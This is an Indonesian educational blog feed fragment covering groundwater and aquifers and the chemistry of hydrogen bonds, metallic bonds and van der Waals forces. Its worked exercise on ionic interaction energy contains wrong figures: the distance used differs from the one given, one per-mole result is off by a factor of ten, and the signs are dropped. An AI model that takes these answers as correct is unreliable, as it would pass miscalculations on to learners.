dimodifikasi dari konsep Gunung Merapi-GunungKidul)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(0, 153, 0); font-style: italic;"&gt;Proses penyusupan ini akan berakumulasi pada satu titik dimana air tersebut menemui suatu lapisan　atau struktur batuan yang bersifat kedap air (impermeabel). Titik akumulasi ini akan membentuk suatu zona jenuh air (saturated zone) yang seringkali disebut sebagai daerah luahan airtanah (discharge zone). Perbedaan kondisi fisik secara alami akan mengakibatkan air dalam zonasi ini akan bergerak/mengalir baik secara gravitasi, perbedaan tekanan, kontrol struktur batuan dan parameter lainnya. Kondisi inilah yang disebut sebagai aliran airtanah. Daerah aliran airtanah ini selanjutnya disebut sebagai daerah aliran (flow zone). &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(0, 153, 0); font-style: italic;"&gt;Dalam perjalananya aliran airtanah ini seringkali melewati suatu lapisan akifer yang diatasnya memiliki lapisan penutup yang bersifat kedap air (impermeabel) hal ini mengakibatkan perubahan tekanan antara airtanah yang berada di bawah lapisan penutup dan airtanah yang berada diatasnya. Perubahan tekanan inilah yang didefinisikan sebagai airtanah tertekan (confined aquifer) dan airtanah bebas (unconfined aquifer). Dalam kehidupan sehari-hari pola pemanfaatan airtanah bebas sering kita lihat dalam penggunaan sumur gali oleh penduduk, sedangkan airtanah tertekan dalam sumur bor yang sebelumnya telah menembus lapisan penutupnya.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(0, 153, 0); font-style: italic;"&gt;Airtanah bebas　(water table) memiliki karakter berfluktuasi terhadap iklim sekitar, mudah tercemar dan cenderung memiliki kesamaan karakter kimia dengan air hujan. Kemudahannya untuk didapatkan membuat kecenderungan disebut sebagai airtanah dangkal (Padahal dangkal atau dalam itu sangat relatif lho). &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(0, 153, 0); font-style: italic;"&gt;Airtanah tertekan/ airtanah terhalang inilah yang seringkali disebut sebagai air sumur artesis (artesian well). Pola pergerakannya yang menghasilkan gradient potensial, mengakibatkan adanya istilah artesis positif ; kejadian dimana potensial airtanah ini berada diatas permukaan tanah sehingga airtanah akan mengalir vertikal secara alami menuju kestimbangan garis potensial khayal ini. Artesis nol ; kejadian dimana garis potensial khayal ini sama dengan permukaan tanah sehingga muka airtanah akan sama dengan muka tanah. Terakhir artesis negatif ; kejadian dimana garis potensial khayal ini dibawah permukaan tanah sehingga muka airtanah akan berada di bawah permukaan tanah..&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwvzD4IH6FI/AAAAAAAAALs/gCe_QO1jQ2U/s1600/3.jpg"&gt;&lt;img style="cursor: pointer; width: 447px; height: 251px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/SwvzD4IH6FI/AAAAAAAAALs/gCe_QO1jQ2U/s400/3.jpg" alt="" id="BLOGGER_PHOTO_ID_5407683025520027730" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(0, 0, 153); font-style: italic;"&gt;Jadi, kalau tukang sumur bilang bahwa dia akan membuat sumur artesis, itu artinya dia akan mencari airtanah tertekan/airtanah terhalang ini.. belum tentu airnya akan muncrat dari tanah ;p&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(0, 0, 153); font-style: italic;"&gt;Lalu airtanah mana yang akan dicari?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(0, 0, 153); font-style: italic;"&gt;Itulah yang pertama kali harus kita tentukan. Tiap jenis airtanah memerlukan metode pencarian yang spesifik. Tapi secara umum bisa kita bagi menjadi :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(0, 0, 153); font-style: italic;"&gt;Metode berdasarkan aspek fisika (Hidrogeofisika) : Penekanannya pada aspek fisik yaitu merekonstruksi pola sebaran lapisan akuifer. Beberapa metode yang sudah umum kita dengar dalam metode ini adalah pengukuran geolistrik yang meliputi pengukuran tahanan jenis, induce polarisation (IP) dan lain-lain. Pengukuran lainnya adalah dengan menggunakan sesimik, gaya berat dan banyak lagi.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="fullpost"  style="font-family:arial;"&gt;&lt;span style="color: rgb(0, 0, 153); font-style: italic;"&gt;Metode berdasarkan aspek kimia (Hidrogeokimia) : Penekanannya pada aspek kimia yaitu mencoba merunut pola pergerakan airtanah. Secara teori ketika air melewati suatu media, maka air ini akan melarutkan komponen yang dilewatinya. Sebagai contoh air yang telah lama mengalir di bawah permukaan tanah akan memiliki kandungan mineral yang berasal dari batuan yang dilewatinya secara melimpah.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div  style="text-align: justify;font-family:webdings;"&gt;&lt;span class="fullpost"&gt;&lt;span style="color: rgb(0, 0, 153); font-style: italic;"&gt;Metode manakah yang terbaik?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;Kombinasi dari kedua metode ini akan saling melengkapi dan akan memudahkan kita untuk mengetahui lebih lengkap mengenai informasi keberadaan airtanah di daerah kita.&lt;/span&gt;&lt;span class="fullpost"&gt;Selamat mencari airtanah… untuk kehidupan yang lebih baik.&lt;/span&gt;&lt;/div&gt;&lt;span class="fullpost"  style="font-family:arial;"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5086261943719715810-8467910075066868925?l=achmadkimia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://achmadkimia.blogspot.com/feeds/8467910075066868925/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://achmadkimia.blogspot.com/2009/11/airtanah-apa-dan-bagaimana-mencarinya_24.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/8467910075066868925'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5086261943719715810/posts/default/8467910075066868925'/><link rel='alternate' type='text/html' href='http://achmadkimia.blogspot.com/2009/11/airtanah-apa-dan-bagaimana-mencarinya_24.html' title='Airtanah? Apa dan Bagaimana Mencarinya?'/><author><name>achmad</name><uri>http://www.blogger.com/profile/13849140095283170169</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://1.bp.blogspot.com/_lylI1wyyUFQ/So8PRPcL_KI/AAAAAAAAAAo/9mHpDhuPmXU/S220/f0toQ2474.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_lylI1wyyUFQ/SwvwS6YPa8I/AAAAAAAAALU/4D-EJ867PZc/s72-c/4.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5086261943719715810.post-99048876720754503</id><published>2009-11-21T05:50:00.000-08:00</published><updated>2009-11-22T07:56:18.724-08:00</updated><title type='text'>ikatan hidrogen</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/Swlcs-a_0WI/AAAAAAAAAK0/a_lU1rF6WNU/s1600/hydrogenbonds.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 397px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/Swlcs-a_0WI/AAAAAAAAAK0/a_lU1rF6WNU/s400/hydrogenbonds.jpg" alt="" id="BLOGGER_PHOTO_ID_5406954755375223138" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:arial;" &gt;Ikatan Antarmolekul – Ikatan Hidrogen&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;Terdapat banyak unsur yang membentuk senyawa dengan hidrogen – ditunjuk sebagai “hidrida”. Jika kamu mem-plot-kan titik didih hidrida unsur golongan 4, kamu akan menemukan bahwa titik didih tersebut naik seiring dengan menurunnya letak unsur pada golongan.&lt;/span&gt;&lt;span class="fullpost"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;br /&gt;Ehem ehem.... gimana ya mulainya... ^_^”&lt;br /&gt;	ok gini aja deh,, asal muasal sya membuat halaman ini sih awalnya karena waktu itu ada keharusan yang membuat sya mesti mencari sebanyak-banyaknya data yang menyangkut materi ikatan hydrogen, so singkat kata sya sering menjalajahi di berbagai macam tempat melalui jendela alias pintunya doraemon, eh salah!! Maksudnya melalui jendela google... selain itu sya juga mencari melalui referensi lain dari buku-buku yang keberadaannya lumayan susah di cari di samarinda tentang materi ini.... huh... akhirnya pada waktu itu sya sering buka-buka semua situs dari yang bahasa Indonesia, inggris punya, cong ceng cing ( cina dan japan maksudnya), dan bahasa2 yg nggk jelas lainnya, wuh sempat nggk habis fikir kalau waktu itu semangat banget nyari yang berhu...  &lt;span style="color: rgb(255, 0, 0);"&gt;( STOP!!!) kebanyakan cerita kamu ya.! Langsung aja deh ke inti apa yang udah kamu dapat..! nggk sabar nih pingin pelajari...&lt;/span&gt;&lt;br /&gt;ok ok tuan &lt;span style="color: rgb(255, 0, 0);"&gt;merah&lt;/span&gt;... jangan marah ya,, ntar mukanya cepet keriput lho... ehehe&lt;br /&gt;	ok, singkat cerita ini dia materi yang sebagian sya tulis di halaman ini...&lt;br /&gt;semoga bermanfaat... ^_^”&lt;br /&gt;Halaman ini menjelaskan asal mula ikatan hidrogen – dayatarik antarmolekul yang terbentuk relatif kuat.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Keterangan untuk ikatan hidrogen&lt;/span&gt;&lt;br /&gt;Terdapat banyak unsur yang membentuk senyawa dengan hidrogen – ditunjuk sebagai “hidrida”. Jika kamu mem-plot-kan titik didih hidrida unsur golongan 4, kamu akan menemukan bahwa titik didih tersebut naik seiring dengan menurunnya letak unsur pada golongan.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwfyViBmB-I/AAAAAAAAAGc/ecx3P3GCCEI/s1600/ik0.jpg"&gt;&lt;img style="cursor: pointer; width: 468px; height: 214px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwfyViBmB-I/AAAAAAAAAGc/ecx3P3GCCEI/s400/ik0.jpg" alt="" id="BLOGGER_PHOTO_ID_5406556329406236642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Kenaikan titik didih terjadi karena molekul memperoleh lebih banyak elektron, dan karena itu kekuatan dispersi van der Walls menjadi lebih besar.&lt;br /&gt;&lt;br /&gt;Jika kamu mengulangi hal yang sama untuk hidrida golongan 5, 6, 7 sesuatu yang aneh terjadi.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwfzvmquJRI/AAAAAAAAAGk/HlYGq2YrOrg/s1600/ih1.jpg"&gt;&lt;img style="cursor: pointer; width: 531px; height: 381px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/SwfzvmquJRI/AAAAAAAAAGk/HlYGq2YrOrg/s400/ih1.jpg" alt="" id="BLOGGER_PHOTO_ID_5406557876840703250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Meskipun secara umum kecenderungannya sama persis dengan yang terjadi pada golongan 4 (dengan alasan yang sama), titik didih hidrida unsur pertama pada tiap golongan melonjak tinggi secara tidak normal.&lt;br /&gt;Pada kasus NH3, H2O dan HF seharusnya terjadi penambahan gaya dayatarik antarmolekul, yang secara signifikan memerlukan energi kalor untuk memutuskannya. Gaya antarmolekul yang relatif kuat ini digambarkan dengan ikatan hidrogen.&lt;br /&gt;Asal mula ikatan hidrogen&lt;br /&gt;Molekul-molekul yang memiliki kelebihan ikatan adalah:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/Swf0ffywh8I/AAAAAAAAAGs/YXBlVsrRLx8/s1600/ih2.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 230px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/Swf0ffywh8I/AAAAAAAAAGs/YXBlVsrRLx8/s400/ih2.jpg" alt="" id="BLOGGER_PHOTO_ID_5406558699629086658" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;________________________________________&lt;br /&gt;Catatan: Garis yang tebal menunjukkan ikatan berada pada bidang atau pada kertas. Ikatan putus-putus mengarah ke belakang bidang atau kertas berarti menjauh dari kamu, dan bentuk baji (wedge-shaped) mengarah ke arah kamu.&lt;br /&gt;&lt;br /&gt;Harus diperhatikan bahwa tiap molekul tersebut:&lt;br /&gt;•	Hidrogen tertarik secara langsung pada salah satu yang unsur yang paling elektronegatif, menyababkan hidrogen memperoleh jumlah muatan positif yang signifikan&lt;br /&gt;•	Tiap-tiap unsur yang mana hidrogen tertarik padanya tidak hanya negatif secara signifikan, tetapi juga memiliki satu-satunya pasangan mandiri yang â€œaktifâ€�.&lt;br /&gt;Pasangan mandiri pada tingkat-2 memiliki elektron yang dikandungnya pada volume ruang yang relatif kecil yang mana memiliki densitas yang tinggi muatan negatif. Pasangan mandiri pada tingkat yang lebih tinggi lebih tersebar dan tidak terlalu atraktif pada sesuatu yang positif.&lt;br /&gt;Mempertimbangkan dua molekul air yang datang bersamaan.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/Swf2E5BnDSI/AAAAAAAAAG0/zfC74V9iM9o/s1600/ih3.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 275px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/Swf2E5BnDSI/AAAAAAAAAG0/zfC74V9iM9o/s400/ih3.jpg" alt="" id="BLOGGER_PHOTO_ID_5406560441569053986" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Hidrogen  + tertarik dengan kuat pada pasangan mendiri yang mana hampir sama jika kamu memulai untuk membentuk ikatan koordinasi (kovalen dativ). Hal ini tidak terjadi sejauh itu, tetapi dayatarik lebih kuat dibandingkan dayatarik dipol-dipol yang biasa.&lt;br /&gt;&lt;br /&gt;Ikatan hidrogen memiliki kekuatan sepersepuluh rata-rata ikatan kovalen, dan secara konstan diputushubungkan pada molekul air. Jika kamu mengibaratkan ikatan kovalen antara oksigen dan hidrogen sebagai hubungan pernikahan yang stabil, ikatan hidrogen hanya berstatus â€œteman yang baikâ€�. Pada skala yang sama, dayatarik van der Waals hanya menunjukkan perkenalan belaka!&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;br /&gt;Air sebagai contoh “sempurna” ikatan hidrogen&lt;/span&gt;&lt;br /&gt;Harus diperhatikan bahwa tiap molekul air dapat berpotensi membentuk empat ikatan hidrogen dengan molekul air disekelilingnya. Terdapat jumlah hidrogen  + yang pasti dan pasangan mandiri karena itu tiap masing-masing molekul air dapat terlibat dalam ikatan hidrogen.&lt;br /&gt;Hal inilah yang menjadi sebab kenapa titik didih air lebih tinggi dibandingkan amonia atau hidrogen fluorida. Pada kasus amonia, jumlah ikatan hidrogen dibatasi oleh fakta bahwa tiap atom nitrogen hanya mempunyai satu pasang elektron mandiri. Pada golongan molekul amonia, tidak terdapat cukup pasangan mandiri untuk mengelilinginya untuk memuaskan semua hidrogen.&lt;br /&gt;Pada hidrogen fluorida, masalah yang muncul adalah kekurangan hidrogen. Pada molekul air, hal itu terpenuhi dengan baik. Air dapat digambarkan sebagai sistem ikatan hidrogen yang “sempurna”.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Contoh yang lebih kompleks dari ikatan hidrogen&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hidrasi ion negatif&lt;/span&gt;&lt;br /&gt;Ketika sebuah substansi ionik dialarutkan dalam air, molekul air berkelompok disekeliling ion yang terpisah. Proses ini disebut hidrasi.&lt;br /&gt;Air seringkali terikat pada ion positif melalui ikatan koordinasi (kovalen dativ). Air berikatan dengan ion negatif menggunakan ikatan hidrogen&lt;br /&gt;Diagram menunjukkan potensi terbentuknya ikatan hidrogen pada ion klorida, Cl-. Meskipun pasangan mandiri pada ion klor terletak pada tingkat-3 dan secara normal tidak akan cukup aktif utnuk membentuk ikatan hidrogen, pada kasus ini mereka terbentuk lebih atraktif melalui muatan negatif penuh pada klor.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/Swf2hld8VxI/AAAAAAAAAG8/tatIPh1XdTA/s1600/ih4.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 311px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/Swf2hld8VxI/AAAAAAAAAG8/tatIPh1XdTA/s400/ih4.jpg" alt="" id="BLOGGER_PHOTO_ID_5406560934535386898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Meskipun ion negatif rumit, hal itu akan selalu menjadi pasangan mandiri yang mana atom hidrogen dari molekul air dapat membentuk ikatan hidrogen juga.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ikatan hidrogen pada alkohol&lt;/span&gt;&lt;br /&gt;Alkohol adalah molekul organik yang mengandung gugus -O-H.&lt;br /&gt;Setiap molekul yang memiliki atom hidrogen tertarik secara langsung ke oksigen atau nitrogen adalah ikatan hidrogen yang cakap. Seperti molekul yang akan selalu memiliki titik didih yang tinggi dibandingkan molekul yang berukuran hampir sama yang mengandung gugus -O-H atau -N-H. Ikatan hidrogen membuat molekul lebih melekat (stickier), dan memerlukan lebih banyak energi kalor untuk memisahkannya.&lt;br /&gt;Etanol, CH3CH2-O-H, dan metoksimetana, CH3-O-CH3, keduanya memiliki rumus molekul yang sama, C2H6O.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/Swf5MNfGETI/AAAAAAAAAHE/4SA0SlqQTKc/s1600/ih5.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 274px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/Swf5MNfGETI/AAAAAAAAAHE/4SA0SlqQTKc/s400/ih5.jpg" alt="" id="BLOGGER_PHOTO_ID_5406563865855398194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Keduanya memiliki jumlah elektron yang sama, dan panjang molekul yang sama. Dayatarik van der Waals (baik antara gaya dispersi dan dayatarik dipol-dipol) pada keduanya akan sama.&lt;br /&gt;Bagaimanapun, etanol memiliki atom hirogen yang tertarik secara langsung pada oksigen – dan oksigen tersebut masih memiliki dua pasangan mandiri seperti pada molekul air. Ikatan hidrigen dapat terjadi antara molekul etanol, meskipun tidak seefektif pada air. Ikatan hidrogen terbatas oleh fakta bahwa hanya ada satu atom hidrogen pada tiap molekul etanol dengan cukup muatan +.&lt;br /&gt;Pada metoksimetana, pasangan mandiri pada oksigen masih terdapat disana, tetapi hidrogen tidak cukup  + untuk pembentukan ikatan hidrogen. Kecuali pada beberapa kasus yang tidak biasa, atom hidrogen tertarik secara langsung pada atom yang sangat elektronegatif untuk menjadikan ikatan hidrogen.&lt;br /&gt;Titik didih etanol dan metoksimetana menunjukkan pengaruh yang dramatis bahwa ikatan hidrogen lebih melekat pada molekul etanol:&lt;br /&gt;&lt;br /&gt;etanol (dengan ikatan hidrogen)	 	78.5Â°C&lt;br /&gt;metiksimetana (tanpa ikatan hidrogen)	 	-24.8Â°C&lt;br /&gt;Ikatan hidrogen pada etanol menghasilkan titik didih sekitar 100Â°C.&lt;br /&gt;Sangat penting untuk merealisasikan bahwa ikatan hidrogen eksis pada penambahan (in addition) dayatarik van der Waals. Sebagai contoh, semua molekul berikut ini mengandung jumlah elektron yang sama, dan dua yang pertama memiliki panjang yang sama. Titik didih yang paling tinggi butan-1-ol berdasarkan pada penambahan ikatan hidrogen.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/Swf5nnkIKCI/AAAAAAAAAHM/tq_yjaV6V7w/s1600/ih6.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 219px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/Swf5nnkIKCI/AAAAAAAAAHM/tq_yjaV6V7w/s400/ih6.jpg" alt="" id="BLOGGER_PHOTO_ID_5406564336712296482" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Dengan membandingkan dua alkohol (yang mengandung gugus -O-H), kedua titik didih adalah tinggi karena penambahan ikatan hidrogen berdasarkan pada tertariknya hidrogen secara langsung pada oksigen ? tetapi sebenarnya tidak sama.&lt;br /&gt;Titik didih 2-metilproan-1-ol tidak cukup tinggi seperti butan-1-ol karena percabangan pada molekul menjadikan dayatarik van der Waals kurang efektif dibandingkan pada butan-1-ol yang lebih panjang.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Ikatan hidrogen pada molekul organik yang mengandung nitrogen&lt;/span&gt;&lt;br /&gt;Ikatan hidrogen juga terjadi pada molekul organik yang mengandung gugus N-H – pendeknya terjadi juga ada amonia. Contohnya adalah molekul sederhana seperti CH3NH2 (metilamin) sampai molekul yang panjang seperti protein dan DNA.&lt;br /&gt;Dua untai double helix yang terkenal pada DNA berikatan satu sama lain melalui ikatan hidrogen antara atom hidrogen yang tertarik oleh nitrogen pada salah satu untai, dan pasangan mandiri pada nitrogen atau oksigen yang lain yang terletai pada untai yang lain&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Jenis ikatan kimia lain&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;a. Ikatan logam&lt;/span&gt;&lt;br /&gt;Setelah penemuan elektron, daya hantar logam yang tinggi dijelaskan dengan menggunakan model elektron bebas, yakni ide bahwa logam kaya akan elektron yang bebas bergerak dalam logam. Namun, hal ini tidak lebih dari model. Dengan kemajuan mekanika kuantum, sekitar tahun 1930, teori MO yang mirip dengan yang digunakan dalam molekul hidrogen digunakan untuk masalah kristal logam.&lt;br /&gt;Elektron dalam kristal logam dimiliki oleh orbital-orbital dengan nilai energi diskontinyu, dan situasinya mirip dengan elektron yang mengelilingi inti atom. Namun, dengan meingkatnya jumlah orbital atom yang berinteraksi banyak, celah energi dari teori MO menjadi lebih sempit, dan akhirnya perbedaan antar tingkat-tingkat energi menjadi dapat diabaikan. Akibatnya banyak tingkat energi akan bergabung membentuk pita energi dengan lebar tertentu. Teori ini disebut dengan teori pita.&lt;br /&gt;Tingkat energi logam magnesium merupakan contoh teori pita yang baik (Gambar 3.8). Elektron yang ada di orbital 1s, 2s dan 2p berada di dekat inti, dan akibatnya terlokalisasi di orbital-orbital tersebut. Hal ini ditunjukkan di bagian bawah Gambar 3.8. Namun, orbital 3s dan 3p bertumpang tindih dan bercampur satu dengan yang lain membentuk MO. MO ini diisi elektron sebagian, sehingga elektron-elektron ini secara terus menerus dipercepat oleh medan listrik menghasilkan arus listrik. Dengan demikian, magnesium adalah konduktor.&lt;br /&gt;Bila orbital-orbital valensi (s) terisi penuh, elektron-elektron ini tidak dapat digerakkan oleh medan listrik kecuali elektron ini lompat dari orbital yang penuh ke orbital kosong di atasnya. Hal inilah yang terjadi dalam isolator.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_lylI1wyyUFQ/Swf6EUphzDI/AAAAAAAAAHU/U9bQJob1yRE/s1600/ih7.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 349px;" src="http://4.bp.blogspot.com/_lylI1wyyUFQ/Swf6EUphzDI/AAAAAAAAAHU/U9bQJob1yRE/s400/ih7.jpg" alt="" id="BLOGGER_PHOTO_ID_5406564829850881074" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;b. Ikatan hidrogen&lt;/span&gt;&lt;br /&gt;Awalnya diduga bahwa alasan mengapa hidrogen fluorida HF memiliki titik didih dan titik leleh yang lebih tinggi dibandingkan hidrogen halida lain (gambar 3.9) adalah bahwa HF ada dalam bentuk polimer. Alasan tepatnya tidak begitu jelas untuk kurun waktu yang panjang. Di awal tahunh 1920-an, dengan jelas diperlihatkan bahwa polimer terbentuk antara dua atom flourin yang mengapit atom hidrogen.&lt;br /&gt;Sangat tingginya titik didih dan titik leleh air juga merupakan masalah yang sangat menarik. Di awal tahun 1930-an, ditunjukkan bahwa dua atom oksigen membentk ikatan yang mengapit hidrogen seperti dalam kasus HF (gambar 3.9). Kemudian diketahui bahwa ikatan jenis ini umum didapatkan dan disebut dengan ikatan hidrogen.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/Swf6dEp512I/AAAAAAAAAHc/Xm7ytWlkK10/s1600/ih8.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 333px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/Swf6dEp512I/AAAAAAAAAHc/Xm7ytWlkK10/s400/ih8.jpg" alt="" id="BLOGGER_PHOTO_ID_5406565255054219106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Ikatan hidrogen dengan mudah terbentuk bila atom hidroegen terikat pada atom elektronegatif seperti oksigen atau nitrogen. Fakta bahwa beberapa senyawa organik dengan gugus hidroksi -OH atau gugus amino -NH2 relatif lebih larut dalam air disebabkan karena pembentukan ikatan hidrogen dengan molekul air. Dimerisasi asam karboksilat seperti asama asetat CH3COOH juga merupakan contoh yang sangat baik adanya ikatan hidrogen.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/Swf6yPZ4h3I/AAAAAAAAAHk/pGJNEmfMQv4/s1600/ih9.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 263px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/Swf6yPZ4h3I/AAAAAAAAAHk/pGJNEmfMQv4/s400/ih9.jpg" alt="" id="BLOGGER_PHOTO_ID_5406565618717067122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ikatan Van der Waals&lt;/span&gt;&lt;br /&gt;Gaya dorong pembentukan ikatan hidrogen adalah distribusi muatan yang tak seragam dalam molekul, atau polaritas molekul (dipol permanen). Polaritas molekul adalah sebab agregasi molekul menjadi cair atau padat. Namun, molekul non polar semacam metana CH4, hidrogen H2 atau He (molekul monoatomik) dapat juga dicairkan, dan pada suhu yang sangat rendah, mungkin juga dipadatkan. Hal ini berarti bahwa ada gaya agreagasi antar molekul-molekul ini.. Gaya semacam ini disebut dengan gaya antarmolekul.&lt;br /&gt;Ikatan hidrogen yang didiskusikan di atas adalah salah satu jenis gaya antarmolekul. Gaya antarmolekul khas untuk molekul non polar adalah gaya van der Waals. Asal usul gaya ini adalah distribusi muatan yang sesaat tidak seragam (dipol sesaat) yang disebabkan oleh fluktuasi awan elektron di sekitar inti. Dalam kondisi yang sama, semakin banyak jumlah elektron dalam molekul semakin mudah molekul tersebut akan dipolarisasi sebab elektron-elektronnya akan tersebar luas. Bila dua awan elektron mendekati satu sama lain, dipol akan terinduksi ketika awan elektron mempolarisasi sedemikian sehingga menstabilkan yang bermuatan berlawanan. Dengan gaya van der Waals suatu sistem akan terstabilkan sebesar 1 kkal mol-1. Bandingkan harga ini dengan nilai stabilisasi yang dicapai dengan pembentukan ikatan kimia (dalam orde 100 kkal mol-1). Kimiawan kini sangat tertarik dengan supramolekul yang terbentuk dengan agregasi molekul dengan gaya antarmolekul.&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;latihan, Kekuatan ikatan ion&lt;/span&gt;&lt;br /&gt;Energi interaksi antara dua muatan listrik Q1 dan Q2 (keduanya adalah bilangan bulat positif atau negatif) yang dipisahkan dengan jarak r (nm) adalah E = 2,31×10-19 Q1Q2/r (J nm). Hitung energi interaksi untuk kasus: (1) interaksi antara Na+ dan Cl– dengan r = 0,276 nm; (2) interaksi antara Mg2+ dan O2- dengan r = 0,25 nm.&lt;br /&gt;Jawab&lt;br /&gt;(1) E = 2,31 x 10-19 (+1)(-1)/(0,276) = -8,37 x 10-19 (J); atau untuk per mol,&lt;br /&gt;(2) E = 2,31×10-19 (+2)(-2)/(0,205) = -4,51 x 10-18 (J); atau per mol,&lt;br /&gt;E(mol) = -8,37 x 10-19 x 6,022 x 1023 J = 5,04 x 105 J = 504,0 kJ.&lt;br /&gt;E(mol) = -4,51 x 10-18 x 6,022 x 1023 J = 2,71 x 105 J = 271,0 kJ&lt;br /&gt;Alasan mengapa yang kedua lebih besar adalah lebih besarnya muatan ion dan kedua karena jarak antar ionnya lebih pendek.&lt;/span&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;Rumus struktur Lewis &lt;/b&gt;&lt;span style="line-height: 115%;font-family:&amp;quot;;font-size:11pt;"  &gt;